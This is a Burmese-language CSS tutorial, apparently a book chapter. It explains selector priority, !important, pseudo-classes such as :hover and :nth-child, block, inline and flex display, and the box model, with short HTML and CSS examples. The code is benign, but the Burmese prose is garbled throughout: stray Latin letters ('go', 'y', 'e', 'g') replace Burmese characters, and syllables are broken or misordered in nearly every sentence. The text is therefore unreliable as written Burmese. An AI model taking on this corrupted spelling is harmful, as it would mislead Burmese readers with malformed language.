Property  ကြေတွ သက်ကြေရာက်မှာgoစ်ပါတယ်။  <ol> ထဲက  <li> ကြေတွလည်း ပါပါတယ်။ ကြေသချာစဉ်းစား
eကည့်ရင် သူတို့လည်းပဲ ပင်မ <ul> ရဲ့ အတွင်းထဲမှာ ရှိကြေနတာမုိလုိ့ပ့ါ။ ဒီလုိပါ – 
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ကြေyာင်ခတ်ပြပီး ကြေoာ်gပပါလုိ့ border Property ကိုသုံးပြပီး ကြေgပာထားတာgoစ်လုိ့ ရှိရှိသမျှ <li> အားလုံးကို
ကြေyာင်ခတ်ပြပီး gပကြေနတာပါ။ နမူနာက Selector ကို ကိုယ့်yာသာ ol li  လုိ့ ကြေgပာင်းပြပီး စမ်းeကည့်ပါ။ ဒါ
ဆိုရင်ကြေတာ့ <ol> အတွင်းထဲက <li> ကြေတွကြေပါ်မှာသာ သက်ကြေရာက်တယ် ဆိတုာကို ကြေတွ့ရပါလိမ့်မယ်။
ဆက်လက်ပြပီး Child Selector goစ်တဲ့ ul > li နဲ့ စမ်းeကည့်ရင်ကြေတာ့ ဒီလုိရလဒ်ကို ရမှာပါ။

ဒီတစ်ခါကြေတာ့  <ol> ထဲက  <li> ကြေတွ မပါကြေတာ့ပါyူး။  ul > li လုိ့ကြေgပာထားတဲ့အတွက်  <ul> ရဲ့
Direct Child goစ်တဲ့ <li> ကြေတွအကြေပါ်မှာသာ သက်ကြေရာက်gခင်းgoစ်ပါတယ်။ ထပ်ဆင့်ရှိကြေနတဲ့ <li> ကြေတွ
မပါကြေတာ့ပါyူး။

Selector Priority
Selector  ကြေတွမှာ  ဦးစားကြေပးအဆင့်ကြေတွ  ရှိeကပါတယ်။  လုိရင်းကကြေတာ့  ပုိတိကျရင်  ပုိဦးစားကြေပးပါတယ်။
ဥပမာ အခုလုိ HTML oဲွ့စည်းပံုရှိတယ် ဆိုeကပါစို။့

 HTML 

<div>
    <ol>
        <li>First</li>
        <li>Second</li>
    </ol>
</div>
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<li> Element ကြေတွကို အခုလုိ ပုံစံအမျ ို းမျ ို းနဲ့ Select လုပ်လုိရ့နိုင်ပါတယ်။

 CSS 

ol li {
    color: green;
}

li {
    color: red;
}

div li {
    color: blue;
}

div ol li {
    color: brown;
}

Selector  ပုံစံ  (၄)  မျ ို းမှာ  အားလံုးက  နမူနာမှာကြေပးထားတဲ့  oဲွ့စည်းပံုပါ  <li> Element  ကြေတွကြေပါ်မှာ
သက်ကြေရာက်မှာကြေတွ ချည်းပါပဲ။ ဒီကြေတာ့ yာကို  အတည်ယူပြပီး yယ်လုိ အလုပ်လုပ်မှာလဲ စဉ်းစားစရာ ရှိ
လာပါတယ်။ Selector သာ တူမယ်ဆိုရင် ကြေနာက်မှကြေရးတာကို အတည်ယူသွားမှာပါ။ ဥပမာ -

 CSS 

ol li {
    color: red;
}

ol li {
    color: brown;
}

နမူနာမှာ နှစ်ခါကြေရးထားပါတယ်။ ol li ဆိုတဲ့ Selector တူeကပါတယ်။ ဒါမျ ို းဆိုရင်ကြေနာက်မှကြေရးတဲ့ ကုဒ်
ကို  အတည်ယူမှာမုိ့လုိ့  <li> ရဲ့  color ဟာ  brown goစ်သွားမှာgoစ်ပါတယ်။ သူ့အကြေပါ်က  color:
red ကို အလုပ်မလုပ်ကြေတာ့ပါyူး။

ကြေစာကြေစာက နမူနာမှာကြေတာ့ သက်ကြေရာက်မှုတူကြေပမယ့် Selector ကြေတွ မတူeကပါyူး။ li, ol li, div
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li, div ol li စသည်goင့်  အမျ ို းမျ ို းကွဲgပားကြေနပါတယ်။  ဒီလုိကွဲgပားတဲ့အခါမှာကြေတာ့  အကြေပါ်မှာပဲ
ကြေရးကြေရး၊ ကြေအာက်မှာပဲ ကြေရးကြေရး ပုိတိကျတဲ့ Selector ကို အတည်ယူသွားမှာပါ။ နမူနာမှာ div ol li ဆို
တဲ့  Selector  ဟာ အတိကျဆံုး goစ်တဲ့အတွက် ကျန်  Selector  ကြေတွနဲ့ ကြေရးထားတဲ့  color ကြေတွ တစ်ခုမှ
အလုပ်မလုပ်ကြေတာ့yဲ div ol li နဲ့ ကြေရးထားတဲ့ color: brown ကိုသာ အတည်ယူပြပီး အလုပ်လုပ်
ကြေပးသွားမှာ  goစ်ပါတယ်။  ဒါကို  Selector  Priority  လုိ့ကြေခါ်ပါတယ်။  CSS  မှာ  ဒါဟာ  ကြေခါင်းစားချင်စရာ
သကြေyာသyာဝတစ်ခုgoစ်ပါတယ်။

Selector တရူင် ကြေနာက်မှကြေရးတဲ့  Selector ကို အတည်ယူပြပီး၊  Selector မတူရင် ပုိတိကျတဲ့  Selector ကို
အတည်ယူတယ်လုိ့ မှတ်နိုင်ပါတယ်။

Element Selector, Class Selector နဲ့ ID Selector တိုမှ့ာ ID Selector က Priority အgမင်ဆံုး၊ ဦးစားကြေပး
အလုပ်လုပ်မယ့်  Selector  goစ်ပါတယ်။  Element  Selector  ကကြေတာ့  Priority  အနိမ့်ဆံုးပါ။  Class
Selector ကကြေတာ့ Element Selector ထက် Priority gမင့်ပြပီး ID Selector ထက် နိမ့်ပါတယ်။ ဒါကိုလည်း
ထည့်သွင်းမှတ်သားသင့်ပါတယ်။

Selector Priority  ကို  Override  လုပ်ချင်ရင်လည်း လုပ်လုိ့ကြေတာ့ ရပါတယ်။  !important လုိ့ကြေခါ်တဲ့
ကြေရးထုံးကို အသုံးgပုရပါတယ်။ ဥပမာ ဒီလုိပါ။

 CSS 

div li {
    color: blue !important;
}

div ol li {
    color: brown;
}

နမူနာအရ  div ol li က ပုိတိကျလုိ့  Priority  gမင့်ပါတယ်။  ဒါကြေပမယ့်  div li နဲ့  ကြေရးထားတဲ့
color: blue မှာ !important အမှတ်အသား ပါကြေနတဲ့အတွက်  Priority နဲမ့ဆိုင်ကြေတာ့yဲ သူ့ကိုဦး
စားကြေပးအတည်ယူ အလုပ်လုပ်ကြေပးသွားမှာ goစ်ပါတယ်။ ဒါကြေeကာင့် <li> ရဲ့  color က blue goစ်သွား
မှာပဲ goစ်ပါတယ်။
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လက်စနဲထ့ည့်သွင်းမှတ်သားသင့်တဲ့ သကြေyာသyာဝ ရှိပါကြေသးတယ်။ ဒီလုိပါ။

 CSS 

div li {
    background: yellow;
    color: blue;
}

div ol li {
    color: brown;
}

နမူနာအရ Priority  နိမ့်တဲ့  div li မှာ  color နဲ့  background ဆိုပြပီး သတ်မှတ်ချက် နှစ်ခုပါဝင်ပါ
တယ်။  Priority  gမင့်တဲ့  div ol li မှာကြေတာ့  color သတ်မှတ်ချက်တစ်ခုပဲ ပါဝင်ပါတယ်။  Priority
gမင့်တဲ့ div ol li ကို ဦးစားကြေပး အလုပ်လုပ်တဲ့အတွက် <li> ရဲ့ color က brown goစ်သွားမှာပါ။
ဒါကြေပမယ့် div li မှာ သတ်မှတ်ထားတဲ့  background: yellow လည်း အသက်ဝင်အလုပ်လုပ်မှာ
goစ်ပါတယ်။  Priority  နိမ့်လုိ့  ပယ်တယ်ဆိုကြေပမယ့် သတ်မှတ်ချက်gခင်း  တတူာကိုသာ ပယ်မှာပါ။  မတူတဲ့
သတ်မှတ်ချက်ကြေတွကိကုြေတာ့ ကြေပါင်းပြပီး အလုပ်လုပ်ကြေပးသွားမှာပဲ goစ်ပါတယ်။

ဒါကြေတွက စိတ်ရှုပ်စရာ  ကြေကာင်းချင်ကြေကာင်းကြေနပါလိမ့်မယ်။  ဒီကြေလာက်ကြကီး  ခက်လှတဲ့သကြေyာသyာဝကြေတွ
ကြေတာ့ မဟုတ်ပါyူး။ စာနဲရ့ှင်းgပရတာထက် လက်ကြေတွ့gပရတာက ပုိကြေကာင်းနိုင်တဲ့ အကြေeကာင်းအရာမျ ို းကြေတွ
goစ်ကြေနလုိပ့ါ။ ဒါကြေeကာင့် လက်ကြေတွ့ချကြေရးပြပီး  စမ်းeကည့်လုိက်ပါ။  စာအကြေနနဲ့  oတ်eကည့်ရတာ စိတ်ရှုပ်စရာ
goစ်ကြေနမယ်ဆိုရင်ကြေတာင်  ချကြေရးeကည့်ပြပီး  gမင်သွားတဲ့အခါ  ချက်gခင်းသကြေyာကြေပါက်သွားတာကို  ကြေတွ့ရပါ
လိမ့်မယ်။

ဒီ Selector ကြေတွနဲ့ တွဲoက်ကြေလ့လာရတဲ့ Pseudo-Class ဆိုတာ ရှိပါကြေသးတယ်။ ဆက်eကည့်eကပါမယ်။

Pseudo-Classes
Pseudo-Classes ကြေတွကို ကြေရတွက်eကည့်တဲ့အခါ (၅၀) ကြေကျာ်ရှိကြေနတာကို ကြေတွ့ရပါတယ်။ အကုန်လံုးကြေတာ့
တစ်ခါထဲ eကည့်စရာမလုိပါyူး။ အသုံးများမယ့် ဟာကြေတွကို ကြေရွးမှတ်ထားပြပီး ကျန်တာကို လုိအပ်လာကြေတာ့
မှ eကည့်လုိက်ရင်ရပါတယ်။ ပထမဆံုး  :hover, :active, :visited ဆိုတဲ့  Pseudo-Class (၃)
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ခုကကြေန စeကည့်ပါမယ်။

Pseudo-class ကြေတွကို Selector ကြေတွနဲ့ တွဲသုံးလုိ့ ရပါတယ်။ Full-colon (:) နဲစ့ပါတယ်။ Full-colon နှစ်
ခု  (::) နဲ့ကြေရးရတဲ့  Pseudo-Element  ဆိုတာကြေတွ  ရှိပါကြေသးတယ်။ အ့ဲဒါကြေတွကိုကြေတာ့ ထည့်မeကည့်ချင်
ကြေသးပါyူး။  ကြေနာက်မှ  ဆက်ကြေလ့လာရမှာပါ။  အခုeကည့်ချင်တဲ့  Pseudo-Class  (၃)  ခုရဲ့  အလုပ်လုပ်ပံုကို
စမ်းသပ်နိုင်oုိအ့တွက် ဒီလုိကြေရးစမ်းလုိရ့ပါတယ်။

 HTML 

<a href="#one">Link One</a>
<a href="#two">Link Two</a>

HTML Link နှစ်ခုထည့်ထားပါတယ်။ ဒီ Link ကြေတွအတွက် CSS ကုဒ်ကို ဆက်လက်ကြေလ့လာeကည့်ပါ။

 CSS 

a {
  color: blue;
}

a:hover {
  color: red;
}

a:active {
  color: green;
}

a:visited {
  color: brown;
}

ဒီကုဒ်အရ Link ကြေတွအားလုံးဟာ စာလံုးအgပာကြေရာင် goစ်ရပါမယ်။ တစ်ကယ်ကြေတာ့ နင်္ဂိုကတည်းက gပာပြပီး
သားပါ။ တမင်သကြေyာသyာဝ ပုိကြေပါ်လွင်ကြေအာင် ထပ်ကြေပးလုိက်တာပါ။ a:hover မှာ အနီကြေရာင်လုိ့ ကြေgပာ
လုိက်တဲ့အတွက်  Link  ကြေတွကြေပါ်မှာ  Pointer  goတ်သွားရင်  (သုိ့မဟုတ်) Link  ကြေတွကို  Pointer  နဲ့  ကြေထာက်
လုိက်ရင် အနီကြေရာင် ကြေgပာင်းသွားမှာပါ။  a:active မှာ အစိမ်းကြေရာင်လုိ့  သတ်မှတ်ထားတဲ့အတွက်  Link
ကြေတွကို နှိပ်လုိက်ရင် နှိပ်လုိက်တဲ့အချနိ်ကြေလးမှာ အစိမ်းကြေရာင်goစ်သွားမှာပါ။ a:visited မှာ brown လုိ ့
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ကြေgပာထားတဲ့အတွက် တစ်ခါနှိပ်oူးတဲ့ လင့်ကြေတွဟာ အgပာကြေရာင် မဟုတ်ကြေတာ့yဲ နီညိုကြေရာင် goစ်သွားမှာပါ။
Codepen ထဲမှာ ကြေရးပြပီး စမ်းeကည့်လုိ့ ရပါတယ်။

ဒါဟာ အသံုးများမယ့်  Pseudo-Class (၃)  မျ ို းရဲ့  သကြေyာသyာဝပါပဲ။  :hover တို့  :active တိုက့ို
ကြကိုက်တဲ့  Element  ကြေတွအတွက်  သတ်မှတ်ကြေပးလုိရ့ပါတယ်။  Link  အပါအဝင် နှိပ်လုိရ့တဲ့  ခလုပ်ကြေတွမှာ
အများအားgoင့် သတ်မှတ်eကကြေလ့ ရှိပါတယ်။ :visited ကကြေတာ့ Link ကြေတွအတွက်ပဲ သတ်မှတ်လုိရ့တဲ့
Pseudo-Class ပါ။ ဆက်လက်ကြေလ့လာသင့်တဲ့ Pseudo-Class (၃) ခုအကြေeကာင်းကို ထပ်ကြေgပာပါမယ်။

:first-child,  :last-child နဲ့  :nth-child ဆိုတဲ့  Pseudo-class  ကြေတွ  ဟာလည်း
ကြေတာ်ကြေတာ်ကြေလး အသုံးဝင်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွ goစ်ပါတယ်။ Select လုပ်ထားတဲ့  Element ကြေတွထဲက
ထိပ်ဆံုးတစ်ခုပဲ လုိချင်တယ်၊ ကြေနာက်ဆံုးတစ်ခုပဲ လုိချင်တယ်၊ တစ်ခုကြေကျာ်လုိချင်တယ်၊ နှစ်ခုကြေကျာ်လုိချင်
တယ်၊ စသgoင့် ကြေရးွချယ်oုိအ့တွက် အသုံးgပုရပါတယ်။ ဥပမာ - 

 HTML 

<ul>
  <li>Item One</li>
  <li>Item Two</li>
  <li>Item Three</li>
  <li>Item Four</li>
  <li>Item Five</li>
</ul>

yာမှအဆန်းအgပားမဟုတ်ပါyူး၊  Item  တစ်ချ ို ့ပါဝင်တဲ့  List  တစ်ခုgoစ်ပါတယ်။  သူ့အတွက်  CSS  ကို
ကြေလ့လာeကည့်ပါ။

 CSS 

ul li:first-child {
  font-weight: bold;
}

ul li:last-child {
  font-style: italic;
}
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ul li:nth-child(3) {
  color: red;
}

ul li:nth-child(2n) {
  background: cyan;
}

:first-child ကို သုံးပြပီး ပထမဆံုး <li> ရဲ့စာလံုးကို Bold လုပ်ထားပါတယ်။ :last-child ကို
သုံးပြပီး ကြေနာက်ဆံုး <li> ကို စာလံုးကြေစာင်း Italic လုပ်ထားပါတယ်။ :nth-child(3) လုိ့ကြေgပာထားတဲ့
အတွက်  သုံးခုကြေgမာက်  <li> ရဲ့စာလံုးအကြေရာင်  အနီကြေရာင်goစ်ကြေနမှာပါ။  တစ်ကြကိမ်ပဲ  အသက်ဝင်မှာပါ။
:nth-child(2n) လုိ့ကြေgပာထားတဲ့အတွက် နှစ်ခုကြေgမာက်  <li> တိုင်းမှာ ကြေနာက်ခံအကြေရာင် ပါဝင်သွား
မှာ goစ်ပါတယ်။ (၂) ခုကြေကျာ် ရှိသမျှအကုန်လံုးမှာ အသက်ဝင်မှာပါ။ ဒါမျ ို းကြေတွကြေeကာင့် ကြေတာ်ကြေတာ်အသံုးဝင်
တဲ့ Pseudo-Class ကြေတွလုိ ့ကြေgပာတာပါ။ ရလဒ်ကဒီလုိgoစ်မှာပါ – 

ဒီကြေလာက်ဆံုးရင် အကြေgခခံဆင့်အကြေနနဲ့  ကြေလ့လာသင့်တဲ့  Selector  ကြေတွ  Pseudo-Class  ကြေတွ စံုသွားပါပြပီ။ ဒီ
အကြေgခခံကြေတွနဲ့  အသားကျပုိင်နိုင်ပြပီဆိုမှ  ကျန်တဲ့  Pseudo-Class  ကြေတွ  Pseudo-Element  ကြေတွကို  ကြေလ့လာ
ပါ။ အထူးသgoင့် အသံုးဝင်နိုင်တာကြေတွက :empty, :not နဲ့  :target ဆိုတဲ့  Pseudo-Class ကြေတွ နဲ့
အတူ  ::before, ::after နဲ့  ::placeholder ဆိုတဲ့  Pseudo-Element  ကြေတွgoစ်ပါတယ်။
:focus, :checked, :readonly, :enabled, :disabled, :valid, :invalid
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စသgoင့်  Input  ကြေတွနဲ့  တွဲသံုးရတဲ့  Pseudo-class  ကြေတွလည်း  ရှိပါကြေသးတယ်။  အမည်ကြေတွကြေလာက်ပဲ
မှတ်ထားပြပီး ကြေနာက်လုိအပ်လာကြေတာ့မှ ဆက်လက်ကြေလ့လာသွားလုိက်ပါ။

CSS Display
Element ကြေတွမှာ မတူကွဲgပားတဲ့  Display Type အမျ ို းမျ ို းရှိပြပီး၊ အ့ဲဒီ  Display Type ကို  CSS နဲ့ စီမံလုိရ့ပါ
တယ်။ အကြေgခခံအကျဆံုးနဲ့ အကြေရးကြကီးဆံုး  Display Type (၂) မျ ို းရှိပါတယ်။ block နဲ့  inline တို့ goစ်
eကပါတယ်။ တစ်ချ ို ့  Element  ကြေတဟွာ  block Element  ကြေတွgoစ်ပြပီး  တစ်ချ ို ့  Element  ကြေတွကကြေတာ့
inline Element  ကြေတွgoစ်eကပါတယ်။ ဒီသကြေyာသyာဝကို  gမင်oုိ့  လက်ကြေတွ့ကြေရးစမ်းeကည့်မှ  ပုိgမင်ပါ
လိမ့်မယ်။ ဒါကြေeကာင့် နမူနာကြေတွ gပပါမယ်။ တစ်ခါထဲ လုိက်ကြေရးeကည့်oုိ ့တုိက်တွန်းလုိပါတယ်။

နမူနာကိုကြေလ့လာeကည့်ပါ။  <div> Element  နှစ်ခုနဲ့  <span> Element  နှစ်ခုရှိပါတယ်။  <div> ဟာ
block Element  goစ်ပြပီး  <span> ကကြေတာ့  inline Element  ပါ။  CSS  မှာ  div, span နှစ်ခုလံုး
အတွက် တူညီတဲ့ Property ကြေတွကို သတ်မှတ်ထားကြေပမယ့် တစ်oက်က ကြေoာ်gပပုံမှာeကည့်လုိက်ပါ၊ ကြေoာ်gပပုံ
မတူeကပါyူး။ Display Type မတူeကလုိ့ပါ။

<div> Element  ကြေတွက  ကြေနရာရှိသကြေလာက်  အgပည့်ကြေနရာယူကြေoာ်gပထားတာကို  ကြေတွ့ရမှာgoစ်ပြပီး
<span> Element  ကြေတွကကြေတာ့ သူ့  Content  ရှိသကြေလာက်ကြေလးပဲ  ကြေနရာယူထားပါတယ်။  ကြေနာက်ထပ်
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သတိgပုရမှာက <div> ကြေတဟွာ အကြေပါ်ကြေအာက် အစီအစဉ်နဲ့ကြေoာ်gပပြပီး  <span> ကြေတွကကြေတာ့ ကြေyးချင်း
ကပ် အစီအစဉ်နဲ့ ကြေoာ်gပပါတယ်။  <div> မုိလုိ့့ ဒီလုိကြေoာ်gပတာ <span> မုိလုိ့့ ဒီလုိကြေoာ်gပတာ မဟုတ်ပါ
yူး။ Display Type ကြေeကာင့် block ကို တစ်မျ ို းကြေoာ်gပပြပီး inline ကို တစ်မျ ို းကြေoာ်gပကြေနတာပါ။

<div> ကဲ့သုိ့ကြေသာ တgခား Block Element ကြေတွရှိပါတယ်။ ဥပမာ - <h1> … <h6>, <p>, <ul>,
<ol> စတဲ့  Element  ကြေတဟွာ  block အမျ ို းအစား  Element  ကြေတွပါ။  <label>, <a>, <b>,
<em> စတဲ့ Element ကြေတွကကြေတာ့ inline အမျ ို းအစား Element ကြေတွပါ။ Block အားလုံးဟာ နမူနာမှာ
gပထားတဲ့  <div> နဲ့  တူညီတဲ့လက္ခဏာရှိပြပီး၊  Inline  အားလုံးကကြေတာ့ နမူနာမှာgပထားတဲ့  <span> နဲ့
တူညီတဲ့ လက္ခဏာရှိပါတယ်။ နမူနာကို နည်းနည်း ထပ်gပင်eကည့်ပါမယ်။

ဒီတစ်ခါ width နဲ့  height ဆိုတဲ့  Property နှစ်ခုထပ်တိုးလုိက်တာပါ။ ဒီလုိ အရွယ်အစားသတ်မှတ်တဲ့
Property  ကြေတွဟာ  Block  goစ်တဲ့  <div> မှာသက်ဝင်အလုပ်လုပ်ကြေပမယ့်  Inline  goစ်တဲ့  <span> မှာ
သက်ဝင်gခင်းမရှိyူးဆိုတာကို  သတိgပုရမှာပါ။  Inline Element  ကြေတွကို  အရွယ်အစားသတ်မှတ်လုိ့  မရပါ
yူး။ အ့ဲဒါကို မသိရင် ကြေရးထားတဲ့  Property ကြေတွက အလုပ်လည်း မလုပ်yူးဆိုပြပီးကြေတာ့ စတိ်ညစ်သွားနိုင်
ပါတယ်။  စိတ်ညစ်စရာမလုိပါyူး၊  သyာဝအရ  Inline  ကြေတွကို  အရွယ်အစား  သတ်မှတ်လုိ့  မရတာပါ။
ကြေနာက်ထပ်ထူးgခားချက်အကြေနနဲ့ Block ကြေတွ အကြေပါ်ကြေအာက် အစီအစဉ်အတိုင်း gပတယ်ဆိုတာကို ထပ်ကြေgပာ
ချင်ပါတယ်။ အရွယ်အစားသတ်မှတ်လုိက်လုိ့  ကြေနရာလွတ်ကြေတွ ကြေyးမှာပုိထွက်လာကြေပမယ့် ကြေyးမှာကပ်ပြပီး
မgပyဲ ကြေအာက်yက်မှာပဲ gပတာကို သတိgပုပါ။
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Display Type ကို ကြေgပာင်းလုိရ့ပါတယ်။ display လုိ့ကြေခါ်တဲ့ CSS Property ကိုသုံးရပါတယ်။ ဒီလုိပါ။

နမူနာမှာ  span ကြေတွကို  display: block လုိ့ကြေgပာလုိက်ပါပြပီ။ ဒါကြေeကာင့် မူလက  Inline  goစ်ကြေနတဲ့
<span> Element  ကြေတဟွာ  အခုကြေတာ့  Block  goစ်သွားပြပီမုိလုိ့့  အားသာချက်အကြေနနဲ့  အရွယ်အစား
သတ်မှတ်လုိရ့သွားသလုိ  အားနည်းချက်အကြေနနဲ့  ကြေyးချင်းကပ်gပလုိ့မရကြေတာ့yဲ  အကြေပါ်ကြေအာက်ဆင့်ပြပီး  gပ
သွားတာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။ ဒီသကြေyာသyာဝဟာ CSS အကြေgခခံကြေတွထဲမှာ အကြေရးအကြကီးဆံုးတစ်ခု
အပါအဝင်goစ်ပါတယ်။ display Property အတွက် အသုံးများမယ့် Value (၄) ခုရှိပါတယ်။

• inline
• block
• none
• flex

inline နဲ့  block ကကြေတာ့ ရှင်းပါတယ်။ Element ရဲ့ Display Type ကို လုိချင်သလုိ ကြေgပာင်းလုိက်တာ
ပါ။  ဟုတ်ပါတယ်၊  Block  ကြေတွကိုလည်း  လုိအပ်ရင်  Inline  ကြေgပာင်းလုိရ့ပါတယ်။  လုိကြေတာ့လုိခဲပါတယ်။
none ကကြေတာ့  ကြေoျာက်ထားလုိက်တာပါ။  Element  ကို  ကြေoျာက်ထားချင်ရင်  display: none လုိ့
သတ်မှတ်ကြေပးလုိက်တာ ထံုးစံပါပဲ။ flex ကကြေတာ့ ကြေနာက်မှကြေပါ်တဲ့ Display Type ပါ။ Layout ကြေတွလုပ်oုိ့
အသုံးဝင်ပါတယ်။ ကြေyးချင်းကပ်မgပတဲ့ Block ကြေတွဟာ flex အတွင်းမှာဆိုရင် gပeကပါတယ်။ ဒီလုိပါ –



PWD 2023 – အခန်း (၂) - CSS 64

ပင်မ <div> မှာ class ကို wrap လုိ့ကြေပးထားပြပီး display: flex Property ကိုသုံးထားတာ ကြေတွ့
ရနိုင်ပါတယ်။ ဒါကြေeကာင့် သူ့အတွင်းထဲက  <div> ကြေတဟွာ  Block  ကြေတွဆိုကြေပမယ့် ကြေyးချင်းကပ်စီပြပီး gပ
သွားကြေပးတာကို  ကြေတွ့ရမှာပဲ  goစ်ပါတယ်။ အ့ဲဒီမှာ  flex-grow ဆိုတဲ့  Property  ကိုလည်း  သတိgပုပါ။
အတွင်း  Element  ကြေတွမှာ  width နဲ့  အကျယ်သတ်မှတ်မထားပါyူး။ သတ်မှတ်ချင်ရင်သတ်မှတ်လုိ့  ရပါ
တယ်။ နမူနာမှာကြေတာ့ width အစား flex-grow: 1 လုိ့ ကြေgပာထားပါတယ်။ (၁) ကြေနရာစာယူမယ်လုိ့
ကြေgပာလုိက်တာပါ။ ပြပီးကြေတာ့မှာ :first-child နဲ့ ပထမဆံုးတစ်ခုကို flex-grow: 2 လုိ့ ကြေgပာထား
တဲ့အတွက် သူက (၂) ကြေနရာစာ ယူပြပီးကြေတာ့ ကြေoာ်gပကြေနတာကိုလည်း သတိgပုeကည့်ပါ။ တန်oုိးကြေတွကို ကိုယ့်
စိတတ်ိုင်းကျ ကြေgပာင်းပြပီးကြေတာ့ စမ်းeကည့်နိုင်ပါတယ်။

Flexbox  လုိ့ကြေခါ်တဲ့  ဒီသကြေyာသyာဝဟာ ကျယ်gပန့်သလုိ  အသံုးလည်း  ဝင်ပါတယ်။  Element  ကြေတွကို
ကြေyးချင်းတိုက်  gပကြေစချင်တာလား၊  အကြေပါ်ကြေအာက်gပကြေစချင်တာလား၊  မဆန့်ကြေတာ့ရင်  yာလုပ်ရမှာလည်း၊
ဆန့်ကြေအာင် ချံု့gပကြေပးရမှာလား၊ ကြေနာက်တစ်လုိင်း ဆင်းgပကြေပးရမှာလား၊ အနိမ့်အgမင့် မညီရင် အကြေပါ်yက်
ကို အညီယူကြေပးရမှာလား၊ အလယ်ကိုအညီယူကြေပးရမှာလား၊ စသgoင့် သတ်မှတ်လုိရ့တဲ့ Flexbox Property
ကြေတွ  အများကြကီးရှိကြေနပါတယ်။  ဒီကြေနရာမှာ  အ့ဲဒီကြေလာက်ထိ  ကျယ်ကျယ်gပန့်gပန်မသွားကြေသးyဲ၊  အကြေgခခံ
သကြေyာgoစ်တဲ့ display: flex သတ်မှတ်ကြေပးလုိက်ရင် သူ့အထဲက Block Element ကြေတွကို ကြေyးချင်း
ကပ် အစီအစဉ်နဲ့gပကြေပးတယ်ဆိုတဲ့ အချက်ကြေလာက်ကိုပဲ မှတ်ထားကြေပးပါ။ 
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display Property  မှာတgခား  Value  ကြေတွ  ရှိပါကြေသးတယ်။  inline-block,  list-item,
table, table-cell, inline-flex, grid, inline-grid စသgoင့်ရှိတာကြေတာ့ အများ
ကြကီးပါပဲ။  လုိအပ်လာတဲ့အချနိ်မှာ  ဆက်လက်ကြေလ့လာသွားရမှာgoစ်ပါတယ်။  နည်းပညာကြေလ့လာတာ
ကကြေတာ့ ဒီလုိပဲ တစ်ဆင့်ချင်းသွားမှပဲ ရပါမယ်။ တစ်ခါထဲ အကုန်သိချင်လုိ့ကြေတာ့ မလွယ်ပါyူး။ အကြေရးကြကီး
ပြပီး အသုံးများတာကြေတွ အရင်eကည့်ပြပီး အသုံးနည်းတာကြေတွကို လုိအပ်လာမှ gပန်eကည့်ရတဲ့သကြေyာပါပဲ။ 

CSS Box Model
ပြပီးခဲ့တဲ့ နမူနာကြေတွမှာ margin တို့  padding တိုလုိ့့  Property ကြေတွကိုထည့်သုံးgပခဲ့ကြေပမယ့် ရှင်းမgပခဲ့ပါ
yူး။  သပ်သပ်ရှင်းရမှာ  မုိ့လုိ့ပါ။  ဒါကြေတွကလည်း  အကြေရးကြကီးပါတယ်။  CSS  မှာ  Box  Model  လုိ့ကြေခါ်တဲ့
သကြေyာသyာဝ ရှိပါတယ်။  Element  ကြေတရွဲ့ အရွယ်အစားကြေပါ်မှာ သက်ကြေရာက်ကြေစတဲ့  Property  ကြေတွပါ။
(၅) ခုရှိပါတယ်။

• width
• height
• margin
• padding
• border

ဒီ (၅) ခုမှာ  width နဲ့  height ကကြေတာ့ ရှင်းပါတယ်။ Element ရဲ့လုိချင်တဲ့အရွယ်အစားရoုိ့အတွက် ဒီ
Property ကြေတွနဲ့ သတ်မှတ်ရတာပါ။ margin Property ကကြေတာ့ တgခား Element ကြေတွနဲ့ yယ်ကြေလာက်
ခွာgပရမလဲဆိုတဲ့  အကွာအကြေဝး  သတ်မှတ်oုိအ့တွက်  သံုးရပါတယ်။  padding Property  ကကြေတာ့
Element  ရဲ့ကြေyာင်နဲ့  Element  ထဲမှာရှိတဲ့အရာကြေတွ  yယ်ကြေလာက်  ခွာgပရမလဲဆိုတဲ့  အကွာအကြေဝးကို
သတ်မှတ်oုိအ့တွက် သံုးရတာပါ။ border ကကြေတာ့ Element ကြေတွမှာ ကြေyာင်ခတ်oုိ့အတွက် အသံုးgပုရပါ
တယ်။ ဒီနမူနာကို ကြေလ့လာeကည့်ပါ။
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width:400px နဲ့  height:400px သတ်မှတ်ထားတဲ့  Element  အတွင်းထဲမှာ  width:400px နဲ့
height:200px သတ်မှတ်ထားတဲ့  Element  (၂)  ခုရှိကြေနတာပါ။  သူဟာနဲသူ့  အရွယ်အစားကိုက်ညီလုိ့
ကွက်တိပါပဲ။  အ့ဲဒီလုိ  ကွက်တိgoစ်ကြေနတဲ့  Element  ကြေတွမှာ  တစ်ခုနဲတ့စ်ခုလည်း  ခွာပြပီးကြေတာ့  gပကြေစချင်
တယ်။ အထဲမှာရှိတဲ့ စာနဲ့ Element ကြေyာင်နဲလ့ည်း ကပ်ကြေနလုိ့ ကွာသွားကြေစချင်တယ်။ ဒါကြေeကာင့် margin
နဲ ့padding Property ကြေတွ သတ်မှတ်လုိက်တဲ့အခါ ဒီလုိgoစ်သွားမှာပါ။
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သတ်မှတ်ချက်အရ Element တစ်ခုနဲတ့စ်ခု ကွာသွားပါပြပီ။ အထဲကစာနဲ့ ကြေyာင်နဲ့လည်း ကွာသွားပါပြပီ။ ဒါ
ကြေပမယ့်  ကြေoာ်gပပုံအဆင်မကြေgပကြေတာ့ပါyူး။  အဆင်မကြေgပရတဲ့အကြေeကာင်းရင်းကကြေတာ့  Element  ရဲ့
အရွယ်အစား မူလထက် ပုိကြကီးသွားလုိ့ပါ။ width ကြေတွ height ကြေတွ မကြေgပာင်းyဲနဲ့ မူလထက်ပုိကြကီးသွား
ရgခင်း  အကြေeကာင်းရင်းကကြေတာ့  သတ်မှတ်လုိက်တဲ့  margin ကြေတွ  padding ကြေတွကို  Element  ရဲ့
အရွယ်အစားမှာ  ကြေပါင်းထည့်သွားလုိ့ပါ။  width က  400 ဆိုကြေပမယ့်  padding:  20px ကြေeကာင့်
yယ်ညာ တစ်yက်ကို  20 စီထပ်တိုးသွားမှာပါ။  margin: 10px ကြေeကာင့် yယ်ညာ တစ်yက်ကို  10
စီထပ်တိုးသွားမှာပါ။ ဒါကြေeကာင့် width မှာ 400 လုိ့ကြေgပာထားကြေပမယ့် တစ်ကယ့် Element ရဲ့အရွယ်အစား
က 460 goစ်သွားပါကြေတာ့တယ်။ height လည်းအတူတူပါပဲ။  200 လုိသ့တ်မှတ်ထားကြေပမယ့် တစ်ကယ့်
အရွယ်အစားက 260 goစ်သွားပါပြပီ။

